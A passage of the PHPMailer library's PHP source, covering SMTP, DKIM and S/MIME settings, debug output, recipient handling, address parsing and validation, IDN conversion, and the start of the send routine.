     * Options: '', static::ENCRYPTION_STARTTLS, or static::ENCRYPTION_SMTPS.
     *
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     *
     * @var bool
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     *
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     *
     * @var bool
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     *
     * @var array
     */
    public $SMTPOptions = [];

    /**
     * SMTP username.
     *
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     *
     * @var string
     */
    public $Password = '';

    /**
     * SMTP authentication type. Options are CRAM-MD5, LOGIN, PLAIN, XOAUTH2.
     * If not specified, the first one from that list that the server supports will be selected.
     *
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP SMTPXClient command attributes
     *
     * @var array
     */
    protected $SMTPXClient = [];

    /**
     * An implementation of the PHPMailer OAuthTokenProvider interface.
     *
     * @var OAuthTokenProvider
     */
    protected $oauth;

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2.
     *
     * @var int
     */
    public $Timeout = 300;

    /**
     * Comma separated list of DSN notifications
     * 'NEVER' under no circumstances a DSN must be returned to the sender.
     *         If you use NEVER all other notifications will be ignored.
     * 'SUCCESS' will notify you when your mail has arrived at its destination.
     * 'FAILURE' will arrive if an error occurred during delivery.
     * 'DELAY'   will notify you if there is an unusual delay in delivery, but the actual
     *           delivery's outcome (success or failure) is not yet decided.
     *
     * @see https://www.rfc-editor.org/rfc/rfc3461.html#section-4.1 for more information about NOTIFY
     */
    public $dsn = '';

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * @see SMTP::DEBUG_OFF: No output
     * @see SMTP::DEBUG_CLIENT: Client messages
     * @see SMTP::DEBUG_SERVER: Client and server messages
     * @see SMTP::DEBUG_CONNECTION: As SERVER plus connection status
     * @see SMTP::DEBUG_LOWLEVEL: Noisy, low-level data output, rarely needed
     *
     * @see SMTP::$do_debug
     *
     * @var int
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     * By default PHPMailer will use `echo` if run from a `cli` or `cli-server` SAPI, `html` otherwise.
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     *
     * ```php
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * ```
     *
     * Alternatively, you can pass in an instance of a PSR-3 compatible logger, though only `debug`
     * level output is used:
     *
     * ```php
     * $mail->Debugoutput = new myPsr3Logger;
     * ```
     *
     * @see SMTP::$Debugoutput
     *
     * @var string|callable|\Psr\Log\LoggerInterface
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep the SMTP connection open after each message.
     * If this is set to true then the connection will remain open after a send,
     * and closing the connection will require an explicit call to smtpClose().
     * It's a good idea to use this if you are sending multiple messages as it reduces overhead.
     * See the mailing list example for how to use it.
     *
     * @var bool
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     *
     * @var bool
     *
     * @deprecated 6.0.0 PHPMailer isn't a mailing list manager!
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     *
     * @var array
     */
    protected $SingleToArray = [];

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     *
     * @see https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @see https://www.postfix.org/VERP_README.html Postfix VERP info
     *
     * @var bool
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     *
     * @var bool
     */
    public $AllowEmpty = false;

    /**
     * DKIM selector.
     *
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     *
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     *
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     *
     * @example 'example.com'
     *
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM Copy header field values for diagnostic use.
     *
     * @var bool
     */
    public $DKIM_copyHeaderFields = true;

    /**
     * DKIM Extra signing headers.
     *
     * @example ['List-Unsubscribe', 'List-Help']
     *
     * @var array
     */
    public $DKIM_extraHeaders = [];

    /**
     * DKIM private key file path.
     *
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     *
     * If set, takes precedence over `$DKIM_private`.
     *
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: https://www.php.net/is_callable
     *
     * Parameters:
     *   bool $result           result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     *   string  $extra         extra information of possible use
     *                          "smtp_transaction_id' => last smtp transaction id
     *
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace/null for none, or a string to use.
     *
     * @var string|null
     */
    public $XMailer = '';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * The default validator uses PHP's FILTER_VALIDATE_EMAIL filter_var option.
     *
     * @see PHPMailer::validateAddress()
     *
     * @var string|callable
     */
    public static $validator = 'php';

    /**
     * An instance of the SMTP sender class.
     *
     * @var SMTP
     */
    protected $smtp;

    /**
     * The array of 'to' names and addresses.
     *
     * @var array
     */
    protected $to = [];

    /**
     * The array of 'cc' names and addresses.
     *
     * @var array
     */
    protected $cc = [];

    /**
     * The array of 'bcc' names and addresses.
     *
     * @var array
     */
    protected $bcc = [];

    /**
     * The array of reply-to names and addresses.
     *
     * @var array
     */
    protected $ReplyTo = [];

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc.
     *
     * @see PHPMailer::$to
     * @see PHPMailer::$cc
     * @see PHPMailer::$bcc
     *
     * @var array
     */
    protected $all_recipients = [];

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     *
     * @see PHPMailer::$to
     * @see PHPMailer::$cc
     * @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     *
     * @var array
     */
    protected $RecipientsQueue = [];

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     *
     * @see PHPMailer::$ReplyTo
     *
     * @var array
     */
    protected $ReplyToQueue = [];

    /**
     * The array of attachments.
     *
     * @var array
     */
    protected $attachment = [];

    /**
     * The array of custom headers.
     *
     * @var array
     */
    protected $CustomHeader = [];

    /**
     * The most recent Message-ID (including angular brackets).
     *
     * @var string
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     *
     * @var string
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     *
     * @var array
     */
    protected $boundary = [];

    /**
     * The array of available text strings for the current language.
     *
     * @var array
     */
    protected $language = [];

    /**
     * The number of errors encountered.
     *
     * @var int
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     *
     * @var string
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     *
     * @var string
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     *
     * @var string
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     *
     * @var string
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     *
     * @var bool
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     *
     * @var string
     */
    protected $uniqueid = '';

    /**
     * The PHPMailer Version number.
     *
     * @var string
     */
    const VERSION = '6.9.3';

    /**
     * Error severity: message only, continue processing.
     *
     * @var int
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     *
     * @var int
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     *
     * @var int
     */
    const STOP_CRITICAL = 2;

    /**
     * The SMTP standard CRLF line break.
     * If you want to change line break format, change static::$LE, not this.
     */
    const CRLF = "\r\n";

    /**
     * "Folding White Space" a white space string used for line folding.
     */
    const FWS = ' ';

    /**
     * SMTP RFC standard line ending; Carriage Return, Line Feed.
     *
     * @var string
     */
    protected static $LE = self::CRLF;

    /**
     * The maximum line length supported by mail().
     *
     * Background: mail() will sometimes corrupt messages
     * with headers longer than 65 chars, see #818.
     *
     * @var int
     */
    const MAIL_MAX_LINE_LENGTH = 63;

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1.
     *
     * @var int
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * The lower maximum line length allowed by RFC 2822 section 2.1.1.
     * This length does NOT include the line break
     * 76 means that lines will be 77 or 78 chars depending on whether
     * the line break format is LF or CRLF; both are valid.
     *
     * @var int
     */
    const STD_LINE_LENGTH = 76;

    /**
     * Constructor.
     *
     * @param bool $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if (null !== $exceptions) {
            $this->exceptions = (bool) $exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do).
     *
     * @param string      $to      To
     * @param string      $subject Subject
     * @param string      $body    Message Body
     * @param string      $header  Additional Header(s)
     * @param string|null $params  Params
     *
     * @return bool
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if ((int)ini_get('mbstring.func_overload') & 1) { // phpcs:ignore PHPCompatibility.IniDirectives.RemovedIniDirectives.mbstring_func_overloadDeprecated
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }
        //Calling mail() with null params breaks
        $this->edebug('Sending with mail()');
        $this->edebug('Sendmail path: ' . ini_get('sendmail_path'));
        $this->edebug("Envelope sender: {$this->Sender}");
        $this->edebug("To: {$to}");
        $this->edebug("Subject: {$subject}");
        $this->edebug("Headers: {$header}");
        if (!$this->UseSendmailOptions || null === $params) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $this->edebug("Additional params: {$params}");
            $result = @mail($to, $subject, $body, $header, $params);
        }
        $this->edebug('Result: ' . ($result ? 'true' : 'false'));
        return $result;
    }

    /**
     * Output debugging info via a user-defined method.
     * Only generates output if debug output is enabled.
     *
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     *
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Is this a PSR-3 logger?
        if ($this->Debugoutput instanceof \Psr\Log\LoggerInterface) {
            $this->Debugoutput->debug(rtrim($str, "\r\n"));

            return;
        }
        //Avoid clash with built-in function names
        if (is_callable($this->Debugoutput) && !in_array($this->Debugoutput, ['error_log', 'html', 'echo'])) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);

            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                /** @noinspection ForgottenDebugOutputInspection */
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                ), "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n|\r/m', "\n", $str);
                echo gmdate('Y-m-d H:i:s'),
                "\t",
                    //Trim trailing space
                trim(
                    //Indent for readability, except for trailing break
                    str_replace(
                        "\n",
                        "\n                   \t                  ",
                        trim($str)
                    )
                ),
                "\n";
        }
    }

    /**
     * Sets message type to HTML or plain.
     *
     * @param bool $isHtml True for HTML mode
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = static::CONTENT_TYPE_TEXT_HTML;
        } else {
            $this->ContentType = static::CONTENT_TYPE_PLAINTEXT;
        }
    }

    /**
     * Send messages using SMTP.
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (false === stripos($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (false === stripos($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     *
     * @param string $address The email address to send to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     *
     * @param string $address The email address to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     *
     * @param string $kind    One of 'to', 'cc', 'bcc', or 'Reply-To'
     * @param string $address The email address
     * @param string $name    An optional username associated with the address
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $pos = false;
        if ($address !== null) {
            $address = trim($address);
            $pos = strrpos($address, '@');
        }
        if (false === $pos) {
            //At-sign is missing.
            $error_message = sprintf(
                '%s (%s): %s',
                $this->lang('invalid_address'),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if ($name !== null && is_string($name)) {
            $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        } else {
            $name = '';
        }
        $params = [$kind, $address, $name];
        //Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        //Domain is assumed to be whatever is after the last @ symbol in the address
        if (static::idnSupported() && $this->has8bitChars(substr($address, ++$pos))) {
            if ('Reply-To' !== $kind) {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;

                    return true;
                }
            } elseif (!array_key_exists($address, $this->ReplyToQueue)) {
                $this->ReplyToQueue[$address] = $params;

                return true;
            }

            return false;
        }

        //Immediately add standard addresses without IDN.
        return call_user_func_array([$this, 'addAnAddress'], $params);
    }

    /**
     * Set the boundaries to use for delimiting MIME parts.
     * If you override this, ensure you set all 3 boundaries to unique values.
     * The default boundaries include a "=_" sequence which cannot occur in quoted-printable bodies,
     * as suggested by https://www.rfc-editor.org/rfc/rfc2045#section-6.7
     *
     * @return void
     */
    public function setBoundaries()
    {
        $this->uniqueid = $this->generateId();
        $this->boundary[1] = 'b1=_' . $this->uniqueid;
        $this->boundary[2] = 'b2=_' . $this->uniqueid;
        $this->boundary[3] = 'b3=_' . $this->uniqueid;
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     *
     * @param string $kind    One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     *
     * @throws Exception
     *
     * @return bool true on success, false if address already used or invalid in some way
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, ['to', 'cc', 'bcc', 'Reply-To'])) {
            $error_message = sprintf(
                '%s: %s',
                $this->lang('Invalid recipient kind'),
                $kind
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if (!static::validateAddress($address)) {
            $error_message = sprintf(
                '%s (%s): %s',
                $this->lang('invalid_address'),
                $kind,
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        if ('Reply-To' !== $kind) {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                $this->{$kind}[] = [$address, $name];
                $this->all_recipients[strtolower($address)] = true;

                return true;
            }
        } elseif (!array_key_exists(strtolower($address), $this->ReplyTo)) {
            $this->ReplyTo[strtolower($address)] = [$address, $name];

            return true;
        }

        return false;
    }

    /**
     * Parse and validate a string containing one or more RFC822-style comma-separated email addresses
     * of the form "display name <address>" into an array of name/address pairs.
     * Uses the imap_rfc822_parse_adrlist function if the IMAP extension is available.
     * Note that quotes in the name part are removed.
     *
     * @see https://www.andrew.cmu.edu/user/agreen1/testing/mrbs/web/Mail/RFC822.php A more careful implementation
     *
     * @param string $addrstr The address list string
     * @param bool   $useimap Whether to use the IMAP extension to parse the list
     * @param string $charset The charset to use when decoding the address list string.
     *
     * @return array
     */
    public static function parseAddresses($addrstr, $useimap = true, $charset = self::CHARSET_ISO88591)
    {
        $addresses = [];
        if ($useimap && function_exists('imap_rfc822_parse_adrlist')) {
            //Use this built-in parser if it's available
            $list = imap_rfc822_parse_adrlist($addrstr, '');
            // Clear any potential IMAP errors to get rid of notices being thrown at end of script.
            imap_errors();
            foreach ($list as $address) {
                if (
                    '.SYNTAX-ERROR.' !== $address->host &&
                    static::validateAddress($address->mailbox . '@' . $address->host)
                ) {
                    //Decode the name part if it's present and encoded
                    if (
                        property_exists($address, 'personal') &&
                        //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
                        defined('MB_CASE_UPPER') &&
                        preg_match('/^=\?.*\?=$/s', $address->personal)
                    ) {
                        $origCharset = mb_internal_encoding();
                        mb_internal_encoding($charset);
                        //Undo any RFC2047-encoded spaces-as-underscores
                        $address->personal = str_replace('_', '=20', $address->personal);
                        //Decode the name
                        $address->personal = mb_decode_mimeheader($address->personal);
                        mb_internal_encoding($origCharset);
                    }

                    $addresses[] = [
                        'name' => (property_exists($address, 'personal') ? $address->personal : ''),
                        'address' => $address->mailbox . '@' . $address->host,
                    ];
                }
            }
        } else {
            //Use this simpler parser
            $list = explode(',', $addrstr);
            foreach ($list as $address) {
                $address = trim($address);
                //Is there a separate name part?
                if (strpos($address, '<') === false) {
                    //No separate name, just use the whole thing
                    if (static::validateAddress($address)) {
                        $addresses[] = [
                            'name' => '',
                            'address' => $address,
                        ];
                    }
                } else {
                    list($name, $email) = explode('<', $address);
                    $email = trim(str_replace('>', '', $email));
                    $name = trim($name);
                    if (static::validateAddress($email)) {
                        //Check for a Mbstring constant rather than using extension_loaded, which is sometimes disabled
                        //If this name is encoded, decode it
                        if (defined('MB_CASE_UPPER') && preg_match('/^=\?.*\?=$/s', $name)) {
                            $origCharset = mb_internal_encoding();
                            mb_internal_encoding($charset);
                            //Undo any RFC2047-encoded spaces-as-underscores
                            $name = str_replace('_', '=20', $name);
                            //Decode the name
                            $name = mb_decode_mimeheader($name);
                            mb_internal_encoding($origCharset);
                        }
                        $addresses[] = [
                            //Remove any surrounding quotes and spaces from the name
                            'name' => trim($name, '\'" '),
                            'address' => $email,
                        ];
                    }
                }
            }
        }

        return $addresses;
    }

    /**
     * Set the From and FromName properties.
     *
     * @param string $address
     * @param string $name
     * @param bool   $auto    Whether to also set the Sender address, defaults to true
     *
     * @throws Exception
     *
     * @return bool
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim((string)$address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        //Don't validate now addresses with IDN. Will be done in send().
        $pos = strrpos($address, '@');
        if (
            (false === $pos)
            || ((!$this->has8bitChars(substr($address, ++$pos)) || !static::idnSupported())
            && !static::validateAddress($address))
        ) {
            $error_message = sprintf(
                '%s (From): %s',
                $this->lang('invalid_address'),
                $address
            );
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new Exception($error_message);
            }

            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto && empty($this->Sender)) {
            $this->Sender = $address;
        }

        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     *
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * Validation patterns supported:
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     *
     * ```php
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * ```
     *
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     *
     * @param string          $address       The email address to check
     * @param string|callable $patternselect Which pattern to use
     *
     * @return bool
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (null === $patternselect) {
            $patternselect = static::$validator;
        }
        //Don't allow strings as callables, see SECURITY.md and CVE-2021-3603
        if (is_callable($patternselect) && !is_string($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false || strpos($address, "\r") !== false) {
            return false;
        }
        switch ($patternselect) {
            case 'pcre': //Kept for BC
            case 'pcre8':
                /*
                 * A more complex and more permissive version of the RFC5322 regex on which FILTER_VALIDATE_EMAIL
                 * is based.
                 * In addition to the addresses allowed by filter_var, also permits:
                 *  * dotless domains: `a@b`
                 *  * comments: `1234 @ local(blah) .machine .example`
                 *  * quoted elements: `'"test blah"@example.org'`
                 *  * numeric TLDs: `a@b.123`
                 *  * unbracketed IPv4 literals: `a@192.168.0.1`
                 *  * IPv6 literals: 'first.last@[IPv6:a1::]'
                 * Not all of these will necessarily work for sending!
                 *
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (bool) preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'html5':
                /*
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 *
                 * @see https://html.spec.whatwg.org/#e-mail-state-(type=email)
                 */
                return (bool) preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'php':
            default:
                return filter_var($address, FILTER_VALIDATE_EMAIL) !== false;
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * `intl` and `mbstring` PHP extensions.
     *
     * @return bool `true` if required functions for IDN support are present
     */
    public static function idnSupported()
    {
        return function_exists('idn_to_ascii') && function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain contains characters not allowed in an IDN).
     *
     * @see PHPMailer::$CharSet
     *
     * @param string $address The email address to convert
     *
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        //Verify we have required functions, CharSet, and at-sign.
        $pos = strrpos($address, '@');
        if (
            !empty($this->CharSet) &&
            false !== $pos &&
            static::idnSupported()
        ) {
            $domain = substr($address, ++$pos);
            //Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) && @mb_check_encoding($domain, $this->CharSet)) {
                //Convert the domain from whatever charset it's in to UTF-8
                $domain = mb_convert_encoding($domain, self::CHARSET_UTF8, $this->CharSet);
                //Ignore IDE complaints about this line - method signature changed in PHP 5.4
                $errorcode = 0;
                if (defined('INTL_IDNA_VARIANT_UTS46')) {
                    //Use the current punycode standard (appeared in PHP 7.2)
                    $punycode = idn_to_ascii(
                        $domain,
                        \IDNA_DEFAULT | \IDNA_USE_STD3_RULES | \IDNA_CHECK_BIDI |
                            \IDNA_CHECK_CONTEXTJ | \IDNA_NONTRANSITIONAL_TO_ASCII,
                        \INTL_IDNA_VARIANT_UTS46
                    );
                } elseif (defined('INTL_IDNA_VARIANT_2003')) {
                    //Fall back to this old, deprecated/removed encoding
                    // phpcs:ignore PHPCompatibility.Constants.RemovedConstants.intl_idna_variant_2003Deprecated
                    $punycode = idn_to_ascii($domain, $errorcode, \INTL_IDNA_VARIANT_2003);
                } else {
                    //Fall back to a default we don't know about
                    // phpcs:ignore PHPCompatibility.ParameterValues.NewIDNVariantDefault.NotSet
                    $punycode = idn_to_ascii($domain, $errorcode);
                }
                if (false !== $punycode) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }

        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     *
     * @throws Exception
     *
     * @return bool false on error - See the ErrorInfo property for details of the error
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }

            return $this->postSend();
        } catch (Exception $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }

            return false;
        }
    }

    /**
     * Prepare a message for sending.
     *
     * @throws Exception
     *
     * @return bool
     */
    public function preSend()
    {
        if (
            'smtp' === $this->Mailer
            || ('mail' === $this->Mailer && (\PHP_VERSION_ID >= 80000 || stripos(PHP_OS, 'WIN') === 0))
        ) {
            //SMTP mandates RFC-compliant line endings
            //and it's also used with mail() on Windows
            static::setLE(self::CRLF);
        } else {
            //Maintain backward compatibility with legacy Linux command line mailers
            static::setLE(PHP_EOL);
        }
        //Check for buggy PHP versions that add a header with an incorrect line break
        if (
            'mail' === $this->Mailer
            && ((\PHP_VERSION_ID >= 70000 && \PHP_VERSION_ID < 70017)
                || (\PHP_VERSION_ID >= 70100 && \PHP_VERSION_ID < 70103))
            && ini_get('mail.add_x_header') === '1'
            && stripos(PHP_OS, 'WIN') === 0
        ) {
            trigger_error($this->lang('buggy_php'), E_USER_WARNING);
        }

        try {
            $this->error_count = 0; //Reset errors
